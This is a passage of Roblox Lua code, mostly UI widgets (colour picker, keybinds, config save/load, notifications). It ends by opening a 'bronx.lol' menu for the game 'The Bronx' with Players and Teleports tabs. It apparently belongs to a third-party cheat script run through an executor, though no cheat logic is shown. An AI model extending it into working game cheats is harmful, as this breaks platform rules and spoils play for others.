                items[ "satvalpicker" ].BackgroundColor3 = hsv(h, s, v)

                flags[cfg.flag] = {
                    Color = Color;
                    Transparency = a 
                }
                
                local color = items[ "colorpicker" ].BackgroundColor3
                items[ "input" ].Text = string.format("%s, %s, %s, ", library:round(color.R * 255), library:round(color.G * 255), library:round(color.B * 255))
                items[ "input" ].Text ..= library:round(1 - a, 0.01)
                
                cfg.callback(Color, a)
            end
            
            function cfg.update_color() 
                local mouse = uis:GetMouseLocation() 
                local offset = vec2(mouse.X, mouse.Y - gui_offset) 

                if dragging_sat then	
                    s = math.clamp((offset - items["sat"].AbsolutePosition).X / items["sat"].AbsoluteSize.X, 0, 1)
                    v = 1 - math.clamp((offset - items["sat"].AbsolutePosition).Y / items["sat"].AbsoluteSize.Y, 0, 1)
                elseif dragging_hue then
                    h = math.clamp((offset - items[ "hue_gradient" ].AbsolutePosition).X / items[ "hue_gradient" ].AbsoluteSize.X, 0, 1)
                elseif dragging_alpha then
                    a = 1 - math.clamp((offset - items[ "alpha_gradient" ].AbsolutePosition).X / items[ "alpha_gradient" ].AbsoluteSize.X, 0, 1)
                end

                cfg.set()
            end

            items[ "colorpicker" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                    cfg.open = not cfg.open 

                    cfg.set_visible(cfg.open)   
                end          
            end)

            uis.InputChanged:Connect(function(input)
                if (dragging_sat or dragging_hue or dragging_alpha) and input.UserInputType == Enum.UserInputType.Touch then
                    cfg.update_color() 
                end
            end)

            library:connection(uis.InputEnded, function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    dragging_sat = false
                    dragging_hue = false
                    dragging_alpha = false
                end
            end)    

            items[ "alpha_gradient" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                dragging_alpha = true 
            end)
            
            items[ "hue_gradient" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                dragging_hue = true 
            end)
            
            items[ "sat" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                dragging_sat = true  
            end)

            items[ "input" ].FocusLost:Connect(function()
                local text = items[ "input" ].Text
                local r, g, b, a = library:convert(text)
                
                if r and g and b and a then 
                    cfg.set(rgb(r, g, b), 1 - a)
                end 
            end)

            items[ "input" ].Focused:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
            end)

            items[ "input" ].FocusLost:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
            end)
            
            cfg.set(cfg.color, cfg.alpha)
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 

        function library:textbox(options) 
            local cfg = {
                name = options.name or "TextBox",
                placeholder = options.placeholder or options.placeholdertext or options.holder or options.holdertext or "type here...",
                default = options.default or "",
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end,
                visible = options.visible or true,
                items = {};
            }

            flags[cfg.flag] = cfg.default

            local items = cfg.items; do 
                items[ "textbox" ] = library:create( "TextButton" , {
                    LayoutOrder = -1;
                    FontFace = fonts.font;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "textbox" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "textbox" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 4, 0, 19);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 7);
                    SortOrder = Enum.SortOrder.LayoutOrder;
                    FillDirection = Enum.FillDirection.Horizontal
                });
                
                items[ "input" ] = library:create( "TextBox" , {
                    FontFace = fonts.font;
                    Text = "";
                    Parent = items[ "right_components" ];
                    Name = "\0";
                    TextTruncate = Enum.TextTruncate.AtEnd;
                    BorderSizePixel = 0;
                    PlaceholderColor3 = rgb(255, 255, 255);
                    CursorPosition = -1;
                    ClearTextOnFocus = false;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255);
                    TextColor3 = rgb(72, 72, 72);
                    BorderColor3 = rgb(0, 0, 0);
                    Position = dim2(1, 0, 0, 0);
                    Size = dim2(1, -4, 0, 30);
                    BackgroundColor3 = rgb(33, 33, 35)
                }); 

                library:create( "UICorner" , {
                    Parent = items[ "input" ];
                    CornerRadius = dim(0, 3)
                });                
                
                library:create( "UIPadding" , {
                    Parent = items[ "right_components" ];
                    PaddingTop = dim(0, 4);
                    PaddingRight = dim(0, 4)
                });
            end 
            
            function cfg.set(text) 
                flags[cfg.flag] = text

                items[ "input" ].Text = text

                cfg.callback(text)
            end 
            
            items[ "input" ]:GetPropertyChangedSignal("Text"):Connect(function()
                cfg.set(items[ "input" ].Text) 
            end)

            items[ "input" ].Focused:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
            end)

            items[ "input" ].FocusLost:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
            end)
                
            if cfg.default then 
                cfg.set(cfg.default) 
            end

            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end

        function library:keybind(options) 
            local cfg = {
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end,
                name = options.name or nil, 
                ignore_key = options.ignore or false, 

                key = options.key or nil, 
                mode = options.mode or "Toggle",
                active = options.default or false, 

                open = false,
                binding = nil, 

                hold_instances = {},
                items = {};
            }

            flags[cfg.flag] = {
                mode = cfg.mode,
                key = cfg.key, 
                active = cfg.active
            }

            local items = cfg.items; do 
                -- Component
                    items[ "keybind_element" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "elements" ];
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Size = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(245, 245, 245);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = cfg.name;
                        Parent = items[ "keybind_element" ];
                        Name = "\0";
                        Size = dim2(1, 0, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "right_components" ] = library:create( "Frame" , {
                        Parent = items[ "keybind_element" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalAlignment = Enum.HorizontalAlignment.Right;
                        Parent = items[ "right_components" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    items[ "keybind_holder" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = items[ "right_components" ];
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Size = dim2(0, 0, 0, 16);
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "keybind_holder" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "key" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "LSHIFT";
                        Parent = items[ "keybind_holder" ];
                        Name = "\0";
                        Size = dim2(1, -12, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "key" ];
                        PaddingTop = dim(0, 1);
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });                                  
                -- 
                
                -- Mode Holder
                    items[ "dropdown" ] = library:create( "Frame" , {
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = library.items;
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Position = dim2(0, 0, 0, 0);
                        Size = dim2(0, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    items[ "inline" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown" ];
                        Size = dim2(1, 0, 1, 0);
                        Name = "\0";
                        ClipsDescendants = true;
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(22, 22, 24)
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 6);
                        PaddingTop = dim(0, 3);
                        PaddingLeft = dim(0, 3);
                        Parent = items[ "inline" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "inline" ];
                        Padding = dim(0, 5);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "inline" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    local options = {"Hold", "Toggle", "Always"}
                    
                    cfg.y_size = 20
                    for _, option in options do                        
                        local name = library:create( "TextButton" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(72, 72, 73);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = option;
                            Parent = items[ "inline" ];
                            Name = "\0";
                            Size = dim2(0, 0, 0, 0);
                            BackgroundTransparency = 1;
                            TextXAlignment = Enum.TextXAlignment.Left;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.XY;
                            TextSize = 14;
                            BackgroundColor3 = rgb(255, 255, 255)
                        }); cfg.hold_instances[option] = name
                        library:apply_theme(name, "accent", "TextColor3")
                        
                        cfg.y_size += name.AbsoluteSize.Y

                        library:create( "UIPadding" , {
                            Parent = name;
                            PaddingTop = dim(0, 1);
                            PaddingRight = dim(0, 5);
                            PaddingLeft = dim(0, 5)
                        });

                        name.InputBegan:Connect(function(input)
                            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                                cfg.set(option)
                                cfg.set_visible(false)
                                cfg.open = false
                            end 
                        end)
                    end
                -- 
            end 
            
            function cfg.modify_mode_color(path) -- ts so frikin tuff 💀
                for _, v in cfg.hold_instances do 
                    v.TextColor3 = rgb(72, 72, 72)
                end 

                cfg.hold_instances[path].TextColor3 = themes.preset.accent
            end

            function cfg.set_mode(mode) 
                cfg.mode = mode 

                if mode == "Always" then
                    cfg.set(true)
                elseif mode == "Hold" then
                    cfg.set(false)
                end

                flags[cfg.flag]["mode"] = mode
                cfg.modify_mode_color(mode)
            end 

            function cfg.set(input)
                if type(input) == "boolean" then 
                    cfg.active = input

                    if cfg.mode == "Always" then 
                        cfg.active = true
                    end
                elseif tostring(input):find("Enum") then 
                    input = input.Name == "Escape" and "NONE" or input
                    
                    cfg.key = input or "NONE"	
                elseif find({"Toggle", "Hold", "Always"}, input) then 
                    if input == "Always" then 
                        cfg.active = true 
                    end 

                    cfg.mode = input
                    cfg.set_mode(cfg.mode) 
                elseif type(input) == "table" then 
                    input.key = type(input.key) == "string" and input.key ~= "NONE" and library:convert_enum(input.key) or input.key
                    input.key = input.key == Enum.KeyCode.Escape and "NONE" or input.key

                    cfg.key = input.key or "NONE"
                    cfg.mode = input.mode or "Toggle"

                    if input.active then
                        cfg.active = input.active
                    end

                    cfg.set_mode(cfg.mode) 
                end 

                cfg.callback(cfg.active)

                local text = tostring(cfg.key) ~= "Enums" and (keys[cfg.key] or tostring(cfg.key):gsub("Enum.", "")) or nil
                local __text = text and (tostring(text):gsub("KeyCode.", ""):gsub("UserInputType.", ""))
                
                items[ "key" ].Text = __text

                flags[cfg.flag] = {
                    mode = cfg.mode,
                    key = cfg.key, 
                    active = cfg.active
                }
            end

            function cfg.set_visible(bool)
                local size = bool and cfg.y_size or 0
                library:tween(items[ "dropdown" ], {Size = dim_offset(items[ "keybind_holder" ].AbsoluteSize.X, size)})

                items[ "dropdown" ].Position = dim_offset(items[ "keybind_holder" ].AbsolutePosition.X, items[ "keybind_holder" ].AbsolutePosition.Y + items[ "keybind_holder" ].AbsoluteSize.Y + 60)
            end
        
            items[ "keybind_holder" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                task.wait()
                items[ "key" ].Text = "..."	

                cfg.binding = library:connection(uis.InputBegan, function(keycode, game_event)  
                    cfg.set(keycode.KeyCode ~= Enum.KeyCode.Unknown and keycode.KeyCode or keycode.UserInputType)
                    
                    cfg.binding:Disconnect() 
                    cfg.binding = nil
                end)
            end)

            items[ "keybind_holder" ].MouseButton2Down:Connect(function()
                cfg.open = not cfg.open 

                cfg.set_visible(cfg.open)
            end)

            library:connection(uis.InputBegan, function(input, game_event) 
                if not game_event then
                    local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode or input.UserInputType

                    if selected_key == cfg.key then 
                        if cfg.mode == "Toggle" then 
                            cfg.active = not cfg.active
                            cfg.set(cfg.active)
                        elseif cfg.mode == "Hold" then 
                            cfg.set(true)
                        end
                    end
                end
            end)    

            library:connection(uis.InputEnded, function(input, game_event) 
                if game_event then 
                    return 
                end 

                local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode or input.UserInputType
    
                if selected_key == cfg.key then
                    if cfg.mode == "Hold" then 
                        cfg.set(false)
                    end
                end
            end)
            
            cfg.set({mode = cfg.mode, active = cfg.active, key = cfg.key})           
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end

        function library:button(options) 
            local cfg = {
                name = options.name or "TextBox",
                callback = options.callback or function() end,
                items = {};
            }
            
            local items = cfg.items; do 
                items[ "button_element" ] = library:create( "Frame" , {
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "button" ] = library:create( "TextButton" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    AutoButtonColor = false;
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "button_element" ];
                    Name = "\0";
                    Position = dim2(1, -4, 0, 0);
                    Size = dim2(1, -8, 0, 30);
                    BorderSizePixel = 0;
                    TextSize = 14;
                    BackgroundColor3 = rgb(33, 33, 35)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "button" ];
                    CornerRadius = dim(0, 3)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "button" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 1, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "name" ], "accent", "BackgroundColor3");                            
            end 

            items[ "button" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                    cfg.callback()

                    items[ "name" ].TextColor3 = themes.preset.accent 
                    library:tween(items[ "name" ], {TextColor3 = rgb(245, 245, 245)})
                end
            end)
            
            return setmetatable(cfg, library)
        end 

        function library:settings(options)  
            local cfg = {
                open = false; 
                items = {}; 
                sanity = true; -- made this for my own sanity.
            }

            local items = cfg.items; do 
                items[ "outline" ] = library:create( "Frame" , {
                    Name = "\0";
                    Visible = true;
                    Parent = library[ "items" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 0, 0);
                    ClipsDescendants = true;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(25, 25, 29)
                });
                
                library:create( "UIScale" , {
                    Parent = items[ "outline" ];
                    Scale = scale;
                });

                items[ "inline" ] = library:create( "Frame" , {
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -2, 1, -2);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(22, 22, 24)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "inline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "elements" ] = library:create( "Frame" , {
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "inline" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0, 10);
                    Size = dim2(1, -20, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "elements" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 15);
                    Parent = items[ "elements" ]
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "outline" ];
                    CornerRadius = dim(0, 7)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "fade" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "tick" ] = library:create( "ImageButton" , {
                    Image = "rbxassetid://128797200442698";
                    Name = "\0";
                    AutoButtonColor = false;
                    Parent = self.items[ "right_components" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 16, 0, 16);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });                
            end 

            function cfg.set_visible(bool)                 
                library:tween(items[ "outline" ], {Size = dim_offset(bool and 240 or 0, 0)})
                items[ "outline" ].Position = dim_offset(items[ "tick" ].AbsolutePosition.X, items[ "tick" ].AbsolutePosition.Y + 90)
                library:close_element(cfg)
            end
            
            items[ "tick" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                    cfg.open = not cfg.open
                    cfg.set_visible(cfg.open)
                end 
            end)

            return setmetatable(cfg, library)
        end 

        function library:list(properties) 
            local cfg = {
                items = {};
                options = properties.options or {"1", "2", "3"};
                flag = properties.flag or library:next_flag();    
                callback = properties.callback or function() end;
                data_store = {};        
                current_element;
            }

            local items = cfg.items; do
                items[ "list" ] = library:create( "Frame" , {
                    Parent = self.items[ "elements" ];
                    BackgroundTransparency = 1;
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "list" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "list" ];
                    PaddingRight = dim(0, 4);
                    PaddingLeft = dim(0, 4)
                });
            end 

            function cfg.refresh_options(options_to_refresh)
                for _,option in cfg.data_store do 
                    option:Destroy()
                end

                for _, option_data in options_to_refresh do
                    local button = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = items[ "list" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(1, 0, 0, 30);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    }); cfg.data_store[#cfg.data_store + 1] = button;

                    local name = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = option_data;
                        Parent = button;
                        Name = "\0";
                        BackgroundTransparency = 1;
                        TextTruncate = Enum.TextTruncate.AtEnd;
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = button;
                        CornerRadius = dim(0, 3)
                    });     

                    button.InputBegan:Connect(function(input)
                        if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                            local current = cfg.current_element 

                            if current and current ~= name then 
                                library:tween(current, {TextColor3 = rgb(72, 72, 72)})
                            end
                            
                            flags[cfg.flag] = option_data
                            cfg.callback(option_data)
                            library:tween(name, {TextColor3 = rgb(245, 245, 245)})
                            cfg.current_element = name
                        end 
                    end)

                    name.MouseEnter:Connect(function()
                        if cfg.current_element == name then 
                            return 
                        end 

                        library:tween(name, {TextColor3 = rgb(140, 140, 140)})
                    end)

                    name.MouseLeave:Connect(function()
                        if cfg.current_element == name then 
                            return 
                        end 

                        library:tween(name, {TextColor3 = rgb(72, 72, 72)})
                    end)
                end
            end

            cfg.refresh_options(cfg.options)

            return setmetatable(cfg, library)
        end 

        function library:init_config(window) 
            local text;
            window:seperator({name = "Settings"})
            local main = window:tab({name = "Configs", tabs = {"Main"}})
            
            local column = main:column({})
            local section = column:section({name = "Configs", size = 1, default = true, icon = "rbxassetid://139628202576511"})
            config_holder = section:list({options = {"Report", "This", "Error", "To", "Finobe"}, callback = function(option)
                if text then 
                    text.set(option)
                end 
            end, flag = "config_name_list"}); library:update_config_list()
            
            local column = main:column({})
            local section = column:section({name = "Settings", side = "right", size = 1, default = true, icon = "rbxassetid://129380150574313"})
            text = section:textbox({name = "Config name:", flag = "config_name_text"})
            section:button({name = "Save", callback = function() writefile(library.directory .. "/configs/" .. flags["config_name_text"] .. ".cfg", library:get_config()) library:update_config_list() notifications:create_notification({name = "Configs", info = "Saved config to:\n" .. flags["config_name_text"] or flags["config_name_text"]}) end}) 
            section:button({name = "Load", callback = function() library:load_config(readfile(library.directory .. "/configs/" .. flags["config_name_text"] .. ".cfg"))  library:update_config_list() notifications:create_notification({name = "Configs", info = "Loaded config:\n" .. flags["config_name_text"]}) end})
            section:button({name = "Delete", callback = function() delfile(library.directory .. "/configs/" .. flags["config_name_text"] .. ".cfg")  library:update_config_list() notifications:create_notification({name = "Configs", info = "Deleted config:\n" .. flags["config_name_text"]}) end})
            section:colorpicker({name = "Menu Accent", callback = function(color, alpha) library:update_theme("accent", color) end, color = themes.preset.accent})
            section:keybind({name = "Menu Bind", callback = function(bool) window.toggle_menu(bool) end, default = true})
        end
    --

    -- Notification Library
        function notifications:refresh_notifs() 
            local offset = 50

            for i, v in notifications.notifs do
                local Position = vec2(20, offset)
                library:tween(v, {Position = dim_offset(Position.X, Position.Y)}, Enum.EasingStyle.Quad, 0.4)
                offset += (v.AbsoluteSize.Y + 10)
            end

            return offset
        end
        
        function notifications:fade(path, is_fading)
            local fading = is_fading and 1 or 0 
            
            library:tween(path, {BackgroundTransparency = fading}, Enum.EasingStyle.Quad, 1)

            for _, instance in path:GetDescendants() do 
                if not instance:IsA("GuiObject") then 
                    if instance:IsA("UIStroke") then
                        library:tween(instance, {Transparency = fading}, Enum.EasingStyle.Quad, 1)
                    end
        
                    continue
                end 
        
                if instance:IsA("TextLabel") then
                    library:tween(instance, {TextTransparency = fading})
                elseif instance:IsA("Frame") then
                    library:tween(instance, {BackgroundTransparency = instance.Transparency and 0.6 and is_fading and 1 or 0.6}, Enum.EasingStyle.Quad, 1)
                end
            end
        end 
        
        function notifications:create_notification(options)
            local cfg = {
                name = options.name or "This is a title!";
                info = options.info or "This is extra info!";
                lifetime = options.lifetime or 3;
                items = {};
                outline;
            }

            local items = cfg.items; do 
                items[ "notification" ] = library:create( "Frame" , {
                    Parent = library[ "items" ];
                    Size = dim2(0, 210, 0, 53);
                    Name = "\0";
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    AnchorPoint = vec2(1, 0);
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(14, 14, 16)
                });

                library:create( "UIScale" , {
                    Parent = items[ "notification" ];
                    Scale = scale;
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "notification" ];
                    Transparency = 1;
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                items[ "title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "notification" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 7, 0, 6);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "notification" ];
                    CornerRadius = dim(0, 3)
                });
                
                items[ "info" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(145, 145, 145);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.info;
                    Parent = items[ "notification" ];
                    Name = "\0";
                    Position = dim2(0, 9, 0, 22);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    TextWrapped = true;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 17);
                    PaddingRight = dim(0, 8);
                    Parent = items[ "info" ]
                });
                
                items[ "bar" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "notification" ];
                    Name = "\0";
                    Position = dim2(0, 8, 1, -6);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 0, 5);
                    BackgroundTransparency = 1;
                    BorderSizePixel = 0;
                    BackgroundColor3 = themes.preset.accent
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "bar" ];
                    CornerRadius = dim(0, 999)
                });
                
                library:create( "UIPadding" , {
                    PaddingRight = dim(0, 8);
                    Parent = items[ "notification" ]
                });
            end
            
            local index = #notifications.notifs + 1
            notifications.notifs[index] = items[ "notification" ]

            notifications:fade(items[ "notification" ], false)
            
            local offset = notifications:refresh_notifs()

            items[ "notification" ].Position = dim_offset(20, offset)

            library:tween(items[ "notification" ], {AnchorPoint = vec2(0, 0)}, Enum.EasingStyle.Quad, 1)
            library:tween(items[ "bar" ], {Size = dim2(1, -8, 0, 5)}, Enum.EasingStyle.Quad, cfg.lifetime)

            task.spawn(function()
                task.wait(cfg.lifetime)
                
                notifications.notifs[index] = nil
                
                notifications:fade(items[ "notification" ], true)
                
                library:tween(items[ "notification" ], {AnchorPoint = vec2(1, 0)}, Enum.EasingStyle.Quad, 1)

                task.wait(1)
        
                items[ "notification" ]:Destroy() 
            end)
        end
    --end)()

    end
-- \\ Script

local window = library:window({name = "bronx", suffix = ".lol", gameInfo = string.format("bronx.lol : %s", Game_Name:lower())})

if Game_Name == "The Bronx" then
    window:seperator({name = "Game"}) do
        local LocalPlayerTab, PlayersTab, PurchaseGunTab, MiscTab, SafeTab = window:tab({name = "Main", tabs = {"Local Player", "Players", "Teleports", "Misc", "Safe"}, icon = GetImage("World.png")}) do
            do -- \\ Safe Tab
                local SafeItemColumn = SafeTab:column({})

